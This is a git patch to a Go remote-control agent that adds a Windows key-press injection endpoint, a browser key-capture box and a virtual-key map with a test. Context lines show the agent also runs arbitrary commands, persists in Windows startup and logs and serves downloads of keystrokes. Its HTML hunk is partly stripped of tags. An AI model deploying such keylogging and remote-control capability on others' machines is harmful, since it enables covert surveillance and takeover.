From 2a6680c5bf2ff839606e37a1a303602fac1e1894 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Fri, 28 Aug 2026 13:11:56 +0300 Subject: [PATCH] Add key input handling functionality to the agent. Implement API endpoint for sending key presses with support for action types (tap, down, up) and modifiers. Update web interface to allow users to send keys and toggle modifier states through a new interactive element. --- lib/agent/agent.go | 1 + lib/agent/handlers.go | 39 ++++++++++++++ lib/agent/web/app.js | 93 +++++++++++++++++++++++++-------- lib/agent/web/index.html | 34 +++++++++--- lib/input/key.go | 68 ++++++++++++++++++++++++ lib/input/keymap.go | 108 +++++++++++++++++++++++++++++++++++++++ lib/input/keymap_test.go | 24 +++++++++ lib/models/models.go | 6 +++ 8 files changed, 346 insertions(+), 27 deletions(-) create mode 100644 lib/input/key.go create mode 100644 lib/input/keymap.go create mode 100644 lib/input/keymap_test.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 84866f2..792cff6 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -77,6 +77,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) + mux.HandleFunc("/api/v1/input/key", a.handleKey) mux.HandleFunc("/api/v1/input/text", a.handleText) mux.HandleFunc("/api/v1/keylog", a.handleKeylog) mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 39cd15a..66801cd 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, + "/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}}, "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, @@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { }) } +func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.KeyRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain a key") + return + } + if request.Key == "" { + helpers.WriteError(w, http.StatusBadRequest, "key is required") + return + } + action := strings.ToLower(strings.TrimSpace(request.Action)) + if action == "" { + action = "tap" + } + if action != "tap" && action != "down" && action != "up" { + helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up") + return + } + if err := input.PressKey(request.Key, action, request.Modifiers); err != nil { + if errors.Is(err, input.ErrBadKey) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("key: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not send key") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action}) +} + func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index beb137c..38bab7b 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -273,6 +273,7 @@ videoRunning = false; videoStart.disabled = false; videoStop.disabled = true; + releaseRemoteModifiers().catch((err) => showError(err.message)); } async function pullVideoFrame() { @@ -315,17 +316,62 @@ }); } - async function sendVideoText() { - const field = document.getElementById("video-text"); - const text = field.value; - if (!text) return; - const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200); - await api("/api/v1/input/text", { + const MODIFIER_CODES = new Set([ + "ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight", + "AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight", + ]); + + const CODE_KEYS = { + Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab", + Escape: "escape", Space: "space", Delete: "delete", Insert: "insert", + Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown", + ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right", + Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/", + Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'", + }; + for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i); + for (let i = 0; i < 26; i += 1) { + const letter = String.fromCharCode(65 + i); + CODE_KEYS[`Key${letter}`] = letter.toLowerCase(); + } + for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`; + + const modState = { ctrl: false, alt: false, shift: false, win: false }; + + function keyFromEvent(event) { + if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; + if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { + return event.key.toLowerCase(); + } + return null; + } + + function transientModifiers(event) { + const mods = []; + if (event.shiftKey && !modState.shift) mods.push("shift"); + if (event.ctrlKey && !modState.ctrl) mods.push("ctrl"); + if (event.altKey && !modState.alt) mods.push("alt"); + if (event.metaKey && !modState.win) mods.push("win"); + return mods; + } + + async function sendRemoteKey(key, action = "tap", modifiers = []) { + await api("/api/v1/input/key", { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ text, delay_ms: delayMs }), + body: JSON.stringify({ key, action, modifiers }), }); - field.value = ""; + } + + async function releaseRemoteModifiers() { + const jobs = []; + for (const [name, active] of Object.entries(modState)) { + if (!active) continue; + modState[name] = false; + document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); + jobs.push(sendRemoteKey(name, "up")); + } + await Promise.all(jobs); } async function listKeylogs() { @@ -427,19 +473,26 @@ event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); - document.getElementById("video-send").addEventListener("click", () => { - sendVideoText().catch((err) => showError(err.message)); + const videoKeys = document.getElementById("video-keys"); + videoKeys.addEventListener("keydown", (event) => { + if (MODIFIER_CODES.has(event.code)) return; + const key = keyFromEvent(event); + if (!key) return; + event.preventDefault(); + sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); }); - const videoKeyDelay = document.getElementById("video-key-delay"); - const videoKeyDelayVal = document.getElementById("video-key-delay-val"); - videoKeyDelay.addEventListener("input", () => { - videoKeyDelayVal.textContent = videoKeyDelay.value; - }); - document.getElementById("video-text").addEventListener("keydown", (event) => { - if (event.key === "Enter") { - event.preventDefault(); - sendVideoText().catch((err) => showError(err.message)); - } + document.querySelectorAll(".mod-btn").forEach((button) => { + button.addEventListener("click", () => { + const name = button.dataset.mod; + if (!name) return; + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + showError(err.message); + }); + }); }); document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 53a8826..c10d178 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -130,7 +130,25 @@ padding: 0.65rem 1.25rem; color: var(--danger); } - .error.show { display: block; } + nav button.mod-btn.active { + background: var(--accent); + border-color: var(--accent); + color: #fff; + } + #video-keys { + flex: 1; + min-width: 12rem; + padding: 0.55rem 0.75rem; + border: 1px dashed var(--line); + border-radius: 6px; + background: #fff; + cursor: text; + outline: none; + } + #video-keys:focus { + border-color: var(--accent); + box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); + } @@ -208,12 +226,14 @@

- - - +
Click here, then type on your keyboard
+
+
+ + + + + Toggle modifiers, then type in the box above
diff --git a/lib/input/key.go b/lib/input/key.go new file mode 100644 index 0000000..5f04425 --- /dev/null +++ b/lib/input/key.go @@ -0,0 +1,68 @@ +package input + +import ( + "runtime" + "strings" +) + +func PressKey(key, action string, modifiers []string) error { + vk, ok := vkCode(key) + if !ok { + return ErrBadKey + } + + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return err + } + + modVKs := make([]uint16, 0, len(modifiers)) + for _, mod := range modifiers { + modVK, ok := vkCode(mod) + if !ok { + return ErrBadKey + } + modVKs = append(modVKs, modVK) + } + + for _, modVK := range modVKs { + if err := sendKeyEvent(modVK, false); err != nil { + return err + } + } + + switch strings.ToLower(strings.TrimSpace(action)) { + case "down": + if err := sendKeyEvent(vk, false); err != nil { + return err + } + case "up": + if err := sendKeyEvent(vk, true); err != nil { + return err + } + default: + if err := sendKeyEvent(vk, false); err != nil { + return err + } + if err := sendKeyEvent(vk, true); err != nil { + return err + } + for i := len(modVKs) - 1; i >= 0; i-- { + if err := sendKeyEvent(modVKs[i], true); err != nil { + return err + } + } + return nil + } + return nil +} + +func sendKeyEvent(vk uint16, keyUp bool) error { + flags := uint32(0) + if keyUp { + flags = keyeventfKeyup + } + inputs := []keybdInput{{Type: inputKeyboard, Vk: vk, Flags: flags}} + return sendKeys(inputs) +} diff --git a/lib/input/keymap.go b/lib/input/keymap.go new file mode 100644 index 0000000..f95f8f8 --- /dev/null +++ b/lib/input/keymap.go @@ -0,0 +1,108 @@ +package input + +import ( + "errors" + "strings" +) + +var ErrBadKey = errors.New("unknown key") + +// vkNames maps API key names to Windows virtual-key codes. +var vkNames = map[string]uint16{ + "backspace": 0x08, + "tab": 0x09, + "enter": 0x0D, + "shift": 0x10, + "ctrl": 0x11, + "control": 0x11, + "alt": 0x12, + "pause": 0x13, + "capslock": 0x14, + "escape": 0x1B, + "esc": 0x1B, + "space": 0x20, + "pageup": 0x21, + "pagedown": 0x22, + "end": 0x23, + "home": 0x24, + "left": 0x25, + "up": 0x26, + "right": 0x27, + "down": 0x28, + "insert": 0x2D, + "delete": 0x2E, + "del": 0x2E, + "win": 0x5B, + "lwin": 0x5B, + "rwin": 0x5C, + "0": 0x30, + "1": 0x31, + "2": 0x32, + "3": 0x33, + "4": 0x34, + "5": 0x35, + "6": 0x36, + "7": 0x37, + "8": 0x38, + "9": 0x39, + "a": 0x41, + "b": 0x42, + "c": 0x43, + "d": 0x44, + "e": 0x45, + "f": 0x46, + "g": 0x47, + "h": 0x48, + "i": 0x49, + "j": 0x4A, + "k": 0x4B, + "l": 0x4C, + "m": 0x4D, + "n": 0x4E, + "o": 0x4F, + "p": 0x50, + "q": 0x51, + "r": 0x52, + "s": 0x53, + "t": 0x54, + "u": 0x55, + "v": 0x56, + "w": 0x57, + "x": 0x58, + "y": 0x59, + "z": 0x5A, + "f1": 0x70, + "f2": 0x71, + "f3": 0x72, + "f4": 0x73, + "f5": 0x74, + "f6": 0x75, + "f7": 0x76, + "f8": 0x77, + "f9": 0x78, + "f10": 0x79, + "f11": 0x7A, + "f12": 0x7B, + ";": 0xBA, + "=": 0xBB, + ",": 0xBC, + "-": 0xBD, + ".": 0xBE, + "/": 0xBF, + "`": 0xC0, + "[": 0xDB, + "\\": 0xDC, + "]": 0xDD, + "'": 0xDE, +} + +func vkCode(name string) (uint16, bool) { + key := strings.ToLower(strings.TrimSpace(name)) + if len(key) == 1 { + if vk, ok := vkNames[key]; ok { + return vk, true + } + } + vk, ok := vkNames[key] + return vk, ok +} diff --git a/lib/input/keymap_test.go b/lib/input/keymap_test.go new file mode 100644 index 0000000..9883e56 --- /dev/null +++ b/lib/input/keymap_test.go @@ -0,0 +1,24 @@ +package input + +import "testing" + +func TestVkCode(t *testing.T) { + t.Parallel() + cases := map[string]uint16{ + "a": 0x41, + "A": 0x41, + "enter": 0x0D, + "ctrl": 0x11, + "win": 0x5B, + "f5": 0x74, + } + for name, want := range cases { + got, ok := vkCode(name) + if !ok || got != want { + t.Fatalf("vkCode(%q) = (%v, %v), want %v", name, got, ok, want) + } + } + if _, ok := vkCode("notakey"); ok { + t.Fatal("expected unknown key") + } +} diff --git a/lib/models/models.go b/lib/models/models.go index 2f98713..e100f61 100644 --- a/lib/models/models.go +++ b/lib/models/models.go @@ -55,3 +55,9 @@ type TextRequest struct { Text string `json:"text"` DelayMs *int `json:"delay_ms,omitempty"` } + +type KeyRequest struct { + Key string `json:"key"` + Action string `json:"action"` // tap, down, up + Modifiers []string `json:"modifiers,omitempty"` +}